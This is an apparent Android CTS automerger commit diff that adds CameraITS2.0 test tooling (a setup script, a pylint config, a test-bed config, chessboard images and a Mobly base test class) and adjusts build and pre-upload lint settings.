[automerger skipped] Merge "STS test for Android Security CVE-2021-0327" into oc-mr1-dev am: 9ccbf5896f am: 8025e4f9fa am: 7bf1a5c926 am: c39ff4ccc5 -s ours am: 78ea52fa5a -s ours am: de29ed1545 -s ours am: 9842975d55 -s ours

am skip reason: Change-Id I5c9fadc66cfe79796b559e2cf354f597fea00ba6 with SHA-1 bc3fc896fc is in history

Original change: https://googleplex-android-review.googlesource.com/c/platform/cts/+/13359117

MUST ONLY BE SUBMITTED BY AUTOMERGER

Change-Id: I39a6e74110f7193edc1cc1d1275e6ec52c1cc611
diff --git a/.clang-format b/.clang-format
new file mode 100644
index 0000000..03af56d
--- /dev/null
+++ b/.clang-format
@@ -0,0 +1,13 @@
+BasedOnStyle: Google
+
+AccessModifierOffset: -4
+AlignOperands: false
+AllowShortFunctionsOnASingleLine: Inline
+AlwaysBreakBeforeMultilineStrings: false
+ColumnLimit: 100
+CommentPragmas: NOLINT:.*
+ConstructorInitializerIndentWidth: 6
+ContinuationIndentWidth: 8
+IndentWidth: 4
+PenaltyBreakBeforeFirstCallParameter: 100000
+SpacesBeforeTrailingComments: 1
diff --git a/Android.bp b/Android.bp
index 1401117..2dce5de 100644
--- a/Android.bp
+++ b/Android.bp
@@ -1,35 +1,3 @@
-package {
-    default_applicable_licenses: ["cts_license"],
-}
-
-// Added automatically by a large-scale-change that took the approach of
-// 'apply every license found to every target'. While this makes sure we respect
-// every license restriction, it may not be entirely correct.
-//
-// e.g. GPL in an MIT project might only apply to the contrib/ directory.
-//
-// Please consider splitting the single license below into multiple licenses,
-// taking care not to lose any license_kind information, and overriding the
-// default license using the 'licenses: [...]' property on targets as needed.
-//
-// For unused files, consider creating a 'fileGroup' with "//visibility:private"
-// to attach the license to, and including a comment whether the files may be
-// used in the current project.
-// See: http://go/android-license-faq
-license {
-    name: "cts_license",
-    visibility: [":__subpackages__"],
-    license_kinds: [
-        "SPDX-license-identifier-Apache-2.0",
-        "SPDX-license-identifier-BSD",
-        "SPDX-license-identifier-CC-BY",
-        "SPDX-license-identifier-MIT",
-        "SPDX-license-identifier-NCSA",
-        "legacy_unencumbered",
-    ],
-    // large-scale-change unable to identify any license_text files
-}
-
 java_defaults {
     name: "cts_error_prone_rules",
     errorprone: {
diff --git a/PREUPLOAD.cfg b/PREUPLOAD.cfg
index 2572b01..db8aa85 100644
--- a/PREUPLOAD.cfg
+++ b/PREUPLOAD.cfg
@@ -6,10 +6,11 @@
 clang_format = --commit ${PREUPLOAD_COMMIT} --style file --extensions c,h,cc,cpp
                hostsidetests
                tests/tests/binder_ndk
+               tests/tests/view/jni
 
 [Hook Scripts]
 checkstyle_hook = ${REPO_ROOT}/prebuilts/checkstyle/checkstyle.py --sha ${PREUPLOAD_COMMIT}
-                  -fw apps/CtsVerifier/src/com/android/cts/verifier/usb/
+                  -fw apps/CtsVerifier/
                       apps/CtsVerifierUSBCompanion/
                       libs/
                       tests/app/
@@ -35,8 +36,11 @@
                       tests/tests/uirendering/
                       tests/tests/view/
                       tests/tests/widget/
+                      common/device-side/bedstead/
                       common/device-side/util/
                       hostsidetests/car/
+                      hostsidetests/devicepolicy
+                      hostsidetests/graphics
                       hostsidetests/multiuser/
                       hostsidetests/scopedstorage/
                       hostsidetests/stagedinstall/
@@ -44,3 +48,7 @@
                       tests/tests/packageinstaller/atomicinstall/
 
 ktlint_hook = ${REPO_ROOT}/prebuilts/ktlint/ktlint.py -f ${PREUPLOAD_FILES}
+
+splits_native_libs_hook = ${REPO_ROOT}/cts/hostsidetests/appsecurity/test-apps/SplitApp/check_not_modify_libs.sh
+                          ${PREUPLOAD_FILES}
+
diff --git a/apps/CameraITS2.0/build/envsetup.sh b/apps/CameraITS2.0/build/envsetup.sh
new file mode 100644
index 0000000..2b8bc2a
--- /dev/null
+++ b/apps/CameraITS2.0/build/envsetup.sh
@@ -0,0 +1,65 @@
+# Copyright 2013 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+export CAMERA_ITS_TOP=$PWD
+echo "CAMERA_ITS_TOP=$PWD"
+
+[[ "${BASH_SOURCE[0]}" != "${0}" ]] || \
+    { echo ">> Script must be sourced with 'source $0'" >&2; exit 1; }
+
+command -v adb >/dev/null 2>&1 || \
+    echo ">> Require adb executable to be in path" >&2
+
+command -v python >/dev/null 2>&1 || \
+    echo ">> Require python executable to be in path" >&2
+
+python -V 2>&1 | grep -q "Python 3.*" || \
+    echo ">> Require python version 3" >&2
+
+for M in numpy PIL matplotlib scipy.stats scipy.spatial serial
+do
+    python -c "import $M" >/dev/null 2>&1 || \
+        echo ">> Require Python $M module" >&2
+done
+
+for N in 'PIL Image' 'matplotlib pylab'
+do
+    IFS=' ' read module submodule <<< "$N"
+    python -c "from $module import $submodule" >/dev/null 2>&1 || \
+        echo ">> Require Python $module module $submodule submodule" >&2
+done
+
+CV2_VER=$(python -c "
+try:
+    import cv2
+    print(cv2.__version__)
+except:
+    print(\"N/A\")
+")
+
+echo "$CV2_VER" | grep -q -e "^3.*" -e "^4.*" || \
+    echo ">> Require python opencv version greater than 3 or 4. Got $CV2_VER" >&2
+
+export PYTHONPATH="$PWD/utils:$PYTHONPATH"
+export PYTHONPATH="$PWD/tests:$PYTHONPATH"
+
+
+
+for M in sensor_fusion_utils camera_properties_utils capture_request_utils cv2_image_processing_utils image_processing_utils its_session_utils scene_change_utils target_exposure_utils
+do
+    python "utils/$M.py" 2>&1 | grep -q "OK" || \
+        echo ">> Unit test for $M failed" >&2
+done
+
+alias gpylint='gpylint --rcfile=$CAMERA_ITS_TOP"/build/scripts/gpylint_rcfile"'
diff --git a/apps/CameraITS2.0/build/scripts/gpylint_rcfile b/apps/CameraITS2.0/build/scripts/gpylint_rcfile
new file mode 100644
index 0000000..fe9f3d1
--- /dev/null
+++ b/apps/CameraITS2.0/build/scripts/gpylint_rcfile
@@ -0,0 +1,382 @@
+[MESSAGES CONTROL]
+
+# Only show warnings with the listed confidence levels. Leave empty to show
+# all.
+confidence=
+
+# Disable the message, report, category or checker with the given id(s). You
+# can either give multiple identifiers separated by comma (,) or put this
+# option multiple times (only on the command line, not in the configuration
+# file where it should appear only once).You can also use "--disable=all" to
+# disable everything first and then reenable specific checks. For example, if
+# you want to run only the similarities checker, you can use "--disable=all
+# --enable=similarities". If you want to run only the classes checker, but have
+# no Warning level messages displayed, use"--disable=all --enable=classes
+# --disable=W"
+disable=design,similarities,no-self-use,attribute-defined-outside-init,locally-disabled,star-args,pointless-except,bad-option-value,global-statement,fixme,suppressed-message,useless-suppression, F0401, C6304, C0111, C6115, C6203
+# F0401 ignores import errors since gpylint does not have the python paths
+# C6304 ignore Copyright line errors.
+# C0111 ignore Docstring at top of file.
+# C6115 ignore Raises documentation requirements.
+# C6203 ignore import order
+
+# Enable the message, report, category or checker with the given id(s). You can
+# either give multiple identifier separated by comma (,) or put this option
+# multiple time. See also the "--disable" option for examples.
+#enable=
+
+
+[MODES]
+
+# DEPRECATED.
+disable-docstring=no
+
+# DEPRECATED, use --mode=base
+google=no
+
+# The configuration modes to activate (default: base).
+mode=base
+
+# The mode to use when import path setup fails (default: style).
+safe-mode=base
+
+# DEPRECATED, use --mode=style
+single-file=no
+
+# DEPRECATED, use --mode=test
+test=no
+
+# A pattern for file names that should activate test mode.
+test-filename-pattern=_(unit|reg)?test\.py$
+
+# The configuration mode to use for tests (default: test).
+test-mode=test
+
+
+[PATHS]
+
+# Directories to add to sys.path.
+#import-paths=
+
+# Inject some known modules.
+inject-known-modules=no
+
+# The import path resolver
+resolver=blaze
+
+
+[REPORTS]
+
+# Add a comment according to your evaluation note. This is used by the global
+# evaluation report (RP0004).
+comment=no
+
+# Python expression which should return a note less than 10 (10 is the highest
+# note). You have access to the variables errors warning, statement which
+# respectively contain the number of errors / warnings messages and the total
+# number of statements analyzed. This is used by the global evaluation report
+# (RP0004).
+evaluation=10.0 - ((float(5 * error + warning + refactor + convention) / statement) * 10)
+
+# Put messages in a separate file for each module / package specified on the
+# command line instead of printing them on stdout. Reports (if any) will be
+# written in a file name "pylint_global.[txt|html]".
+files-output=no
+
+# String to print as the module footer.
+#module-footer-template=
+
+# Template for the module header. %(filename)s will be replaced with the name
+# of the file under analysis.
+#module-header-template=
+
+# Template used to display messages. This is a python new-style format string
+# used to format the message information. See doc for all details
+#msg-template=
+
+# Set the output format. Available formats are text, parseable, colorized, msvs
+# (visual studio) and html. You can also give a reporter class, eg
+# mypackage.mymodule.MyReporterClass.
+output-format=sorted-text
+
+# Tells whether to display a full report or only the messages
+reports=no
+
+
+[BASIC]
+
+# Regular expression which should only match correct argument names
+argument-rgx=^[a-z][a-z0-9_]*$
+
+# Regular expression which should only match correct instance attribute names
+attr-rgx=^_{0,2}[a-z][a-z0-9_]*$
+
+# List of builtins function names that should not be used, separated by a comma
+bad-functions=input,apply,reduce
+
+# Bad variable names which should always be refused, separated by a comma
+bad-names=
+
+# Regular expression which should only match correct attribute names in class
+# bodies
+class-attribute-rgx=^(_?[A-Z][A-Z0-9_]*|__[a-z0-9_]+__|_?[a-z][a-z0-9_]*)$
+
+# Regular expression which should only match correct class names
+class-rgx=^_?[A-Z][a-zA-Z0-9]*$
+
+# Regular expression which should only match correct module level names
+const-rgx=^(_?[A-Z][A-Z0-9_]*|__[a-z0-9_]+__|_?[a-z][a-z0-9_]*)$
+
+# Minimum line length for functions/classes that require docstrings, shorter
+# ones are exempt.
+docstring-min-length=10
+
+# Regular expression which should only match correct function names
+# function-rgx=^(?:(?P<camel_case>_?[A-Z][a-zA-Z0-9]*)|(?P<snake_case>_?[a-z][a-z0-9_]*))$
+function-rgx=^(?:(?P<snake_case>_?[a-z][a-z0-9_]*))$
+
+# Good variable names which should always be accepted, separated by a comma
+good-names=main,_
+
+# Regular expression which should only match correct list comprehension /
+# generator expression variable names
+inlinevar-rgx=^[a-z][a-z0-9_]*$
+
+# Regular expression which should only match correct method names
+# method-rgx=^(?:(?P<exempt>__[a-z0-9_]+__|next)|(?P<camel_case>_{0,2}[A-Z][a-zA-Z0-9]*)|(?P<snake_case>_{0,2}[a-z][a-z0-9_]*))$
+method-rgx=^(?:(?P<exempt>__[a-z0-9_]+__|next)|(?P<snake_case>_{0,2}[a-z][a-z0-9_]*))$
+
+# Regular expression which should only match correct module names
+module-rgx=^(_?[a-z][a-z0-9_]*)|__init__|PRESUBMIT|PRESUBMIT_unittest$
+
+# Colon delimited types of objects which should have the same naming style,
+# separated by a comma
+name-group=function:method
+
+# Regular expression which should only match function or class names that do
+# not require a docstring.
+no-docstring-rgx=(__.*__|main)
+
+# Required attributes for module, separated by a comma
+required-attributes=
+
+# Regular expression which should only match correct variable names
+variable-rgx=^[a-z][a-z0-9_]*$
+
+
+[CLASSES]
+
+# List of method names used to declare (i.e. assign) instance attributes.
+defining-attr-methods=__init__,__new__,setUp
+
+# List of interface methods to ignore, separated by a comma. This is used for
+# instance to not check methods defines in Zope's Interface base class.
+ignore-iface-methods=isImplementedBy,deferred,extends,names,namesAndDescriptions,queryDescriptionFor,getBases,getDescriptionFor,getDoc,getName,getTaggedValue,getTaggedValueTags,isEqualOrExtendedBy,setTaggedValue,isImplementedByInstancesOf,adaptWith,is_implemented_by
+
+# List of valid names for the first argument in a class method.
+valid-classmethod-first-arg=cls,class_
+
+# List of valid names for the first argument in a metaclass class method.
+valid-metaclass-classmethod-first-arg=mcs
+
+
+[DESIGN]
+
+# Argument names that match this expression will be ignored. Default to name
+# with leading underscore
+ignored-argument-names=_.*
+
+# Maximum number of arguments for function / method
+max-args=5
+
+# Maximum number of attributes for a class (see R0902).
+max-attributes=7
+
+# Maximum number of branch for function / method body
+max-branches=12
+
+# Maximum number of locals for function / method body
+max-locals=15
+
+# Maximum number of parents for a class (see R0901).
+max-parents=7
+
+# Maximum number of public methods for a class (see R0904).
+max-public-methods=20
+
+# Maximum number of return / yield for function / method body
+max-returns=6
+
+# Maximum number of statements in function / method body
+max-statements=50
+
+# Minimum number of public methods for a class (see R0903).
+min-public-methods=2
+
+
+[EXCEPTIONS]
+
+# Exceptions that will emit a warning when being caught. Defaults to
+# "Exception"
+overgeneral-exceptions=StandardError,Exception
+
+
+[FORMAT]
+
+# Regexp for a line that is allowed to be longer than the limit.
+ignore-long-lines=(^\s*(import|from)\s|^__version__\s=\s['"]\$Id:|^\s*(# )?<?https?://\S+>?$)
+
+# String used as indentation unit. This is usually " " (2 spaces) or "\t" (1
+# tab).
+indent-string='  '
+
+# Maximum number of characters on a single line.
+max-line-length=80
+
+# Maximum number of lines in a module
+max-module-lines=99999
+
+# List of optional constructs for which whitespace checking is disabled
+no-space-check=
+
+# Allow the body of an if to be on the same line as the test if there is no
+# else.
+single-line-if-stmt=yes
+
+
+[GOOGLE AST]
+
+# List of module members that should be marked as deprecated.
+deprecated-members=string.atof,string.atoi,string.atol,string.capitalize,string.expandtabs,string.find,string.rfind,string.index,string.rindex,string.count,string.lower,string.split,string.rsplit,string.splitfields,string.join,string.joinfields,string.lstrip,string.rstrip,string.strip,string.swapcase,string.translate,string.upper,string.ljust,string.rjust,string.center,string.zfill,string.replace,sys.exitfunc
+
+# Maximum line length for lambdas.
+short-func-length=1
+
+
+[GOOGLE DOCSTRING]
+
+# List of exceptions that do not need to be mentioned in the Raises section of
+# a docstring.
+ignore-exceptions=NotImplementedError,StopIteration
+
+
+[GOOGLE IMPORTS]
+
+# List of modules that should be ignored if unused.
+ignore-unused-imports=google3
+
+
+[GOOGLE LINES]
+
+# Regexp for a proper copyright notice.
+copyright=Copyright \d{4} Google Inc\. +All Rights Reserved\.
+
+
+[GOOGLE TOKENS]
+
+# A regex for finding comments that do not have a space between leading comment
+# separators and textual content.
+comment-starts-without-space=\A#[^\s\w]*\w
+
+# Regexp for a proper TODO comment; the uid group, if any, should match the
+# user ID of the relevant person
+good-todo=# ?TODO\((?P<uid>[a-z][a-z0-9-]*)|b/(?P<bugid>[0-9]+)\):?
+
+# Number of spaces of indent required when the last token on the preceding line
+# is an open (, [, or {.
+indent-after-paren=4
+
+# Minimum number of spaces between the end of a line and an inline comment.
+min-comment-space=2
+
+# Regexp for a TODO comment, which may be incorrect.
+todo=(?i)#\s*todo
+
+
+[IMPORTS]
+
+# Deprecated modules which should not be used, separated by a comma
+deprecated-modules=regsub,TERMIOS,Bastion,rexec
+
+# Create a graph of external dependencies in the given file (report RP0402 must
+# not be disabled)
+ext-import-graph=
+
+# Create a graph of every (i.e. internal and external) dependencies in the
+# given file (report RP0402 must not be disabled)
+import-graph=
+
+# Create a graph of internal dependencies in the given file (report RP0402 must
+# not be disabled)
+int-import-graph=
+
+
+[LOGGING]
+
+# Logging modules to check that the string format arguments are in logging
+# function parameter format
+logging-modules=logging,google3.pyglib.logging
+
+
+[MASTER]
+
+# Add files or directories to the ignorelist. They should be base names, not
+# paths.
+ignore=CVS
+
+# Arbitrary Python code to execute before linting.
+#init-hook=
+
+# List of plugins (as comma separated values of python modules names) to load,
+# usually to register additional checkers.
+load-plugins=
+
+# Pickle collected data for later comparisons.
+persistent=no
+
+# Use a custom configuration file for linting.
+#rcfile=
+
+
+[MISCELLANEOUS]
+
+# List of note tags to take in consideration, separated by a comma.
+notes=
+
+
+[SIMILARITIES]
+
+# Ignore comments when computing similarities.
+ignore-comments=yes
+
+# Ignore docstrings when computing similarities.
+ignore-docstrings=yes
+
+# Ignore imports when computing similarities.
+ignore-imports=no
+
+# Minimum lines number of a similarity.
+min-similarity-lines=4
+
+
+[TYPECHECK]
+
+# List of members which are set dynamically and missed by pylint inference
+# system, and so shouldn't trigger E0201 when accessed. Python regular
+# expressions are accepted.
+generated-members=REQUEST,acl_users,aq_parent
+
+# Tells whether missing members accessed in mixin class should be ignored. A
+# mixin class is detected if its name ends with "mixin" (case insensitive).
+ignore-mixin-members=yes
+
+# List of classes names for which member attributes should not be checked
+# (useful for classes with attributes dynamically set).
+ignored-classes=SQLObject
+
+# When zope mode is activated, add a predefined set of Zope acquired attributes
+# to generated-members.
+zope=no
+
+
+[VARIABLES]
diff --git a/apps/CameraITS2.0/config.yml b/apps/CameraITS2.0/config.yml
new file mode 100644
index 0000000..bc19025
--- /dev/null
+++ b/apps/CameraITS2.0/config.yml
@@ -0,0 +1,46 @@
+# Copyright 2020 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+TestBeds:
+  - Name: TEST_BED_TABLET_SCENES
+    # Test configuration for scenes[0:4, 6, _change]
+    Controllers:
+        AndroidDevice:
+          - serial: <device-id>
+            label: dut
+          - serial: <tablet-id>
+            label: tablet
+    TestParams:
+      brightness: 96
+      chart_distance: 31.0
+      debug_mode: "False"  # quotes are needed here
+      chart_loc_arg: ""
+      camera: <camera-id>
+      scene: <scene-name>  # if <scene-name> left as-is runs all scenes
+
+  - Name: TEST_BED_SENSOR_FUSION
+    # Test configuration for sensor_fusion/test_sensor_fusion.py
+    Controllers:
+        AndroidDevice:
+          - serial: <device-id>
+            label: dut
+    TestParams:
+      fps: 30
+      img_size: 640,480
+      test_length: 7
+      debug_mode: "False"  # quotes are needed here
+      chart_distance: 25
+      rotator_cntl: <controller-type>  # can be arduino or canakit
+      rotator_ch: <controller-channel>
+      camera: <camera-id>
diff --git a/apps/CameraITS2.0/test_images/ISO12233.png b/apps/CameraITS2.0/test_images/ISO12233.png
new file mode 100644
index 0000000..f1ffce8
--- /dev/null
+++ b/apps/CameraITS2.0/test_images/ISO12233.png
Binary files differ
diff --git a/apps/CameraITS2.0/test_images/rotated_chessboards/normal.jpg b/apps/CameraITS2.0/test_images/rotated_chessboards/normal.jpg
new file mode 100644
index 0000000..e6418be
--- /dev/null
+++ b/apps/CameraITS2.0/test_images/rotated_chessboards/normal.jpg
Binary files differ
diff --git a/apps/CameraITS2.0/test_images/rotated_chessboards/normal_15_ccw.jpg b/apps/CameraITS2.0/test_images/rotated_chessboards/normal_15_ccw.jpg
new file mode 100644
index 0000000..fa921c2
--- /dev/null
+++ b/apps/CameraITS2.0/test_images/rotated_chessboards/normal_15_ccw.jpg
Binary files differ
diff --git a/apps/CameraITS2.0/test_images/rotated_chessboards/normal_30_ccw.jpg b/apps/CameraITS2.0/test_images/rotated_chessboards/normal_30_ccw.jpg
new file mode 100644
index 0000000..907f0d2
--- /dev/null
+++ b/apps/CameraITS2.0/test_images/rotated_chessboards/normal_30_ccw.jpg
Binary files differ
diff --git a/apps/CameraITS2.0/test_images/rotated_chessboards/normal_45_ccw.jpg b/apps/CameraITS2.0/test_images/rotated_chessboards/normal_45_ccw.jpg
new file mode 100644
index 0000000..59dc939
--- /dev/null
+++ b/apps/CameraITS2.0/test_images/rotated_chessboards/normal_45_ccw.jpg
Binary files differ
diff --git a/apps/CameraITS2.0/test_images/rotated_chessboards/normal_60_ccw.jpg b/apps/CameraITS2.0/test_images/rotated_chessboards/normal_60_ccw.jpg
new file mode 100644
index 0000000..7d11c40
--- /dev/null
+++ b/apps/CameraITS2.0/test_images/rotated_chessboards/normal_60_ccw.jpg
Binary files differ
diff --git a/apps/CameraITS2.0/test_images/rotated_chessboards/normal_75_ccw.jpg b/apps/CameraITS2.0/test_images/rotated_chessboards/normal_75_ccw.jpg
new file mode 100644
index 0000000..1193bb1
--- /dev/null
+++ b/apps/CameraITS2.0/test_images/rotated_chessboards/normal_75_ccw.jpg
Binary files differ
diff --git a/apps/CameraITS2.0/test_images/rotated_chessboards/normal_90_ccw.jpg b/apps/CameraITS2.0/test_images/rotated_chessboards/normal_90_ccw.jpg
new file mode 100644
index 0000000..ea233ae
--- /dev/null
+++ b/apps/CameraITS2.0/test_images/rotated_chessboards/normal_90_ccw.jpg
Binary files differ
diff --git a/apps/CameraITS2.0/test_images/rotated_chessboards/wide.jpg b/apps/CameraITS2.0/test_images/rotated_chessboards/wide.jpg
new file mode 100644
index 0000000..a790506
--- /dev/null
+++ b/apps/CameraITS2.0/test_images/rotated_chessboards/wide.jpg
Binary files differ
diff --git a/apps/CameraITS2.0/test_images/rotated_chessboards/wide_15_ccw.jpg b/apps/CameraITS2.0/test_images/rotated_chessboards/wide_15_ccw.jpg
new file mode 100644
index 0000000..1871bab
--- /dev/null
+++ b/apps/CameraITS2.0/test_images/rotated_chessboards/wide_15_ccw.jpg
Binary files differ
diff --git a/apps/CameraITS2.0/test_images/rotated_chessboards/wide_30_ccw.jpg b/apps/CameraITS2.0/test_images/rotated_chessboards/wide_30_ccw.jpg
new file mode 100644
index 0000000..d3bff2a
--- /dev/null
+++ b/apps/CameraITS2.0/test_images/rotated_chessboards/wide_30_ccw.jpg
Binary files differ
diff --git a/apps/CameraITS2.0/test_images/rotated_chessboards/wide_45_ccw.jpg b/apps/CameraITS2.0/test_images/rotated_chessboards/wide_45_ccw.jpg
new file mode 100644
index 0000000..1298752
--- /dev/null
+++ b/apps/CameraITS2.0/test_images/rotated_chessboards/wide_45_ccw.jpg
Binary files differ
diff --git a/apps/CameraITS2.0/test_images/rotated_chessboards/wide_60_ccw.jpg b/apps/CameraITS2.0/test_images/rotated_chessboards/wide_60_ccw.jpg
new file mode 100644
index 0000000..642aeea
--- /dev/null
+++ b/apps/CameraITS2.0/test_images/rotated_chessboards/wide_60_ccw.jpg
Binary files differ
diff --git a/apps/CameraITS2.0/test_images/rotated_chessboards/wide_75_ccw.jpg b/apps/CameraITS2.0/test_images/rotated_chessboards/wide_75_ccw.jpg
new file mode 100644
index 0000000..b224ae4
--- /dev/null
+++ b/apps/CameraITS2.0/test_images/rotated_chessboards/wide_75_ccw.jpg
Binary files differ
diff --git a/apps/CameraITS2.0/test_images/rotated_chessboards/wide_90_ccw.jpg b/apps/CameraITS2.0/test_images/rotated_chessboards/wide_90_ccw.jpg
new file mode 100644
index 0000000..c2ad401
--- /dev/null
+++ b/apps/CameraITS2.0/test_images/rotated_chessboards/wide_90_ccw.jpg
Binary files differ
diff --git a/apps/CameraITS2.0/tests/__init__.py b/apps/CameraITS2.0/tests/__init__.py
new file mode 100644
index 0000000..317c4e6
--- /dev/null
+++ b/apps/CameraITS2.0/tests/__init__.py
@@ -0,0 +1,13 @@
+# Copyright 2013 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
diff --git a/apps/CameraITS2.0/tests/its_base_test.py b/apps/CameraITS2.0/tests/its_base_test.py
new file mode 100644
index 0000000..8c5ea76
--- /dev/null
+++ b/apps/CameraITS2.0/tests/its_base_test.py
@@ -0,0 +1,200 @@
+# Copyright 2020 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+
+import logging
+import time
+
+from mobly import asserts
+from mobly import base_test
+from mobly import utils
+from mobly.controllers import android_device
+
+import its_session_utils
+
+ADAPTIVE_BRIGHTNESS_OFF = '0'
+DISPLAY_TIMEOUT = 1800000  # ms
+CTS_VERIFIER_PKG = 'com.android.cts.verifier'
+MBS_PKG_TXT = 'mbs'
+MBS_PKG = 'com.google.android.mobly.snippet.bundled'
+WAIT_TIME_SEC = 5
+SCROLLER_TIMEOUT_MS = 3000
+VALID_NUM_DEVICES = (1, 2)
+NOT_YET_MANDATED_ALL = 100
+
+# Not yet mandated tests ['test', first_api_level mandatory]
+# ie. ['test_test_patterns', 30] is MANDATED for first_api_level >= 30
+NOT_YET_MANDATED = {
+    'scene0': [['test_solid_color_test_pattern', 31],
+               ['test_test_patterns', 30],
+               ['test_tonemap_curve', 30]],
+    'scene1_1': [['test_ae_precapture_trigger', 28],
+                 ['test_channel_saturation', 29]],
+    'scene1_2': [],
+    'scene2_a': [['test_jpeg_quality', 30]],
+    'scene2_b': [['test_auto_per_frame_control', NOT_YET_MANDATED_ALL]],
+    'scene2_c': [],
+    'scene2_d': [['test_num_faces', 30]],
+    'scene2_e': [['test_num_faces', 30], ['test_continuous_picture', 30]],
+    'scene3': [],
+    'scene4': [],
+    'scene5': [],
+    'scene6': [['test_zoom', 30]],
+    'sensor_fusion': [],
+    'scene_change': [['test_scene_change', 31]]
+}
+
+
+class ItsBaseTest(base_test.BaseTestClass):
+  """Base test for CameraITS tests.
+
+  Tests inherit from this class execute in the Camera ITS automation systems.
+  These systems consist of either:
+    1. a device under test (dut) and an external rotation controller
+    2. a device under test (dut) and one screen device(tablet)
+
+  Attributes:
+    dut: android_device.AndroidDevice, the device under test.
+    tablet: android_device.AndroidDevice, the tablet device used to display
+        scenes.
+  """
+
+  def setup_class(self):
+    devices = self.register_controller(android_device, min_number=1)
+    self.dut = devices[0]
+    self.dut.load_snippet(MBS_PKG_TXT, MBS_PKG)
+    self.camera = self.user_params['camera']
+    if self.user_params.get('chart_distance'):
+      self.chart_distance = float(self.user_params['chart_distance'])
+      logging.debug('Chart distance: %s cm', self.chart_distance)
+    if self.user_params.get('debug_mode'):
+      self.debug_mode = True if self.user_params[
+          'debug_mode'] == 'True' else False
+    if self.user_params.get('scene'):
+      self.scene = self.user_params['scene']
+    camera_id_combo = self.parse_hidden_camera_id()
+    self.camera_id = camera_id_combo[0]
+    if len(camera_id_combo) == 2:
+      self.hidden_physical_id = camera_id_combo[1]
+    else:
+      self.hidden_physical_id = None
+    logging.debug('Camera_id:%s', self.camera_id)
+    logging.debug('Hidden Physical Camera_id: %s', self.hidden_physical_id)
+
+    num_devices = len(devices)
+    if num_devices == 2:  # scenes [0,1,2,3,4,5,6]
+      try:
+        self.tablet = devices[1]
+        self.tablet.load_snippet(MBS_PKG_TXT, MBS_PKG)
+        self.tablet_screen_brightness = self.user_params['brightness']
+        self.chart_loc_arg = self.user_params['chart_loc_arg']
+      except KeyError:
+        logging.debug('Not all tablet arguments set.')
+    else:  # sensor_fusion or manual run
+      try:
+        self.fps = int(self.user_params['fps'])
+        img_size = self.user_params['img_size'].split(',')
+        self.img_w = int(img_size[0])
+        self.img_h = int(img_size[1])
+        self.test_length = float(self.user_params['test_length'])
+        self.rotator_cntl = self.user_params['rotator_cntl']
+        self.rotator_ch = self.user_params['rotator_ch']
+      except KeyError:
+        logging.debug('Not all arguments set. Manual run.')
+
+    self._setup_devices(num_devices)
+
+  def _setup_devices(self, num):
+    """Sets up each device in parallel if more than one device."""
+    if num not in VALID_NUM_DEVICES:
+      raise AssertionError(
+          f'Incorrect number of devices! Must be in {str(VALID_NUM_DEVICES)}')
+    if num == 1:
+      self.setup_dut(self.dut)
+    else:
+      logic = lambda d: self.setup_dut(d) if d else self.setup_tablet()
+      utils.concurrent_exec(
+          logic, [(self.dut,), (None,)],
+          max_workers=2,
+          raise_on_exception=True)
+
+  def setup_dut(self, device):
+    self.dut.adb.shell(
+        'am start -n com.android.cts.verifier/.CtsVerifierActivity')
+    # Wait for the app screen to appear.
+    time.sleep(WAIT_TIME_SEC)
+
+  def setup_tablet(self):
+    self.tablet.adb.shell(['input', 'keyevent ', 'KEYCODE_WAKEUP'])
+    # Turn off the adaptive brightness on tablet.
+    self.tablet.adb.shell(
+        ['settings', 'put', 'system', 'screen_brightness_mode',
+         ADAPTIVE_BRIGHTNESS_OFF])
+    # Set the screen brightness
+    self.tablet.adb.shell(
+        ['settings', 'put', 'system', 'screen_brightness',
+         str(self.tablet_screen_brightness)])
+    logging.debug('Tablet brightness set to: %s',
+                  format(self.tablet_screen_brightness))
+    self.tablet.adb.shell('settings put system screen_off_timeout {}'.format(
+        DISPLAY_TIMEOUT))
+    self.tablet.adb.shell('am force-stop com.google.android.apps.docs')
+
+  def parse_hidden_camera_id(self):
+    """Parse the string of camera ID into an array.
+
+    Returns:
+      Array with camera id and hidden_physical camera id.
+    """
+    camera_id_combo = self.camera.split(':')
+    return camera_id_combo
+
+
+  def determine_not_yet_mandated_tests(self, device_id, scene):
+    """Determine not_yet_mandated tests from NOT_YET_MANDATED list & phone info.
+
+    Args:
+     device_id: string of device id number.
+     scene: scene to which tests belong to.
+
+    Returns:
+       dict of not yet mandated tests
+    """
+    # Initialize not_yet_mandated.
+    not_yet_mandated = {}
+    not_yet_mandated[scene] = []
+
+    # Determine first API level for device.
+    first_api_level = its_session_utils.get_first_api_level(device_id)
+
+    # Determine which test are not yet mandated for first api level.
+    tests = NOT_YET_MANDATED[scene]
+    for test in tests:
+      if test[1] >= first_api_level:
+        not_yet_mandated[scene].append(test[0])
+    return not_yet_mandated
+
+  def on_pass(self, record):
+    logging.debug('%s on PASS.', record.test_name)
+
+  def on_fail(self, record):
+    logging.debug('%s on FAIL.', record.test_name)
